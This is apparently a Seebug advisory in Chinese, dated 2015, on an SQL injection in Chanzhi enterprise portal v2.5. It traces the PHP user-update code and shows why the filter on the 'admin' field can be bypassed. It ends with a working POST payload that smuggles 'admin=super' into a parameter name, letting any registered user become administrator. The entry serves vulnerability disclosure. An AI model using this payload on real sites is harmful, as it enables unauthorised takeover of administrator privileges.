蝉知企业门户系统 v2.5 SQL 注入

2015-09-14T00:00:00
ID SSV:89415
Type seebug
Reporter
Modified 2015-09-14T00:00:00

Description

<p>问题出在 用户修改资料的地方</p><pre class="">/system/module/user/control.php</pre><pre class="">public function edit($account = '')

{

    if(!$account or RUN_MODE == 'front') $account = $this-&gt;app-&gt;user-&gt;account;

    if($this-&gt;app-&gt;user-&gt;account == 'guest') $this-&gt;locate(inlink('login'));



    if(!empty($_POST))

    {

        $this-&gt;user-&gt;update($account);

....... </pre><p>跟进updata</p><p>/system/module/user/model.php</p><pre class="">public function update($account)

{

    /* If the user want to change his password. */

    if($this-&gt;post-&gt;password1 != false)

    {

        $this-&gt;checkPassword();

        if(dao::isError()) return false;



        $password  = $this-&gt;createPassword($this-&gt;post-&gt;password1, $account);

        $this-&gt;post-&gt;set('password', $password);

    }



    $user = fixer::input('post')

        -&gt;cleanInt('imobile, qq, zipcode')

        -&gt;setDefault('admin', 'no')

        -&gt;remove('ip, account, join, visits')

        -&gt;removeIF(RUN_MODE != 'admin', 'admin')

        -&gt;get();



    return $this-&gt;dao-&gt;update(TABLE_USER)

        -&gt;data($user, $skip = 'password1,password2')

        -&gt;autoCheck()

        -&gt;batchCheck($this-&gt;config-&gt;user-&gt;require-&gt;edit, 'notempty')

        -&gt;check('email', 'email')

        -&gt;check('email', 'unique', "account!='$account'")

        -&gt;checkIF($this-&gt;post-&gt;gtalk != false, 'gtalk', 'email')

        -&gt;where('account')-&gt;eq($account)

        -&gt;exec();

}

</pre><p>fixer这个类的代码有点长就不贴了,看上面的代码也能大概看得懂它的作用。。</p><p>普通用户和管理员是在一个表的,的区别就是 admin字段。</p><p>总之对我们post的数据做了 foreach然后带入了 updata</p><p>当然他 有remove admin的,可是这太好绕过了。</p><p>直接看利用吧~</p><p>注册用户后 来到 </p><p><a href="http://localhost/user-edit.html" rel="nofollow">http://localhost/user-edit.html</a>修改资料</p><p>改包</p>

post如下数据

```

realname=aaaaaa&email=a%40qqqq.com&password1=&password2=&company=&address=&zipcode=&mobile=&phone=&qq%3D1,admin=super&gtalk=

```

<p>即可提升成为管理员。</p><p>可以看mysql的日志</p><p><img alt="1.jpg" src="https://images.seebug.org/contribute/ae677b1d-fda0-429b-b601-7b54ee36609f-1.jpg" data-image-size="1220,53"><br></p>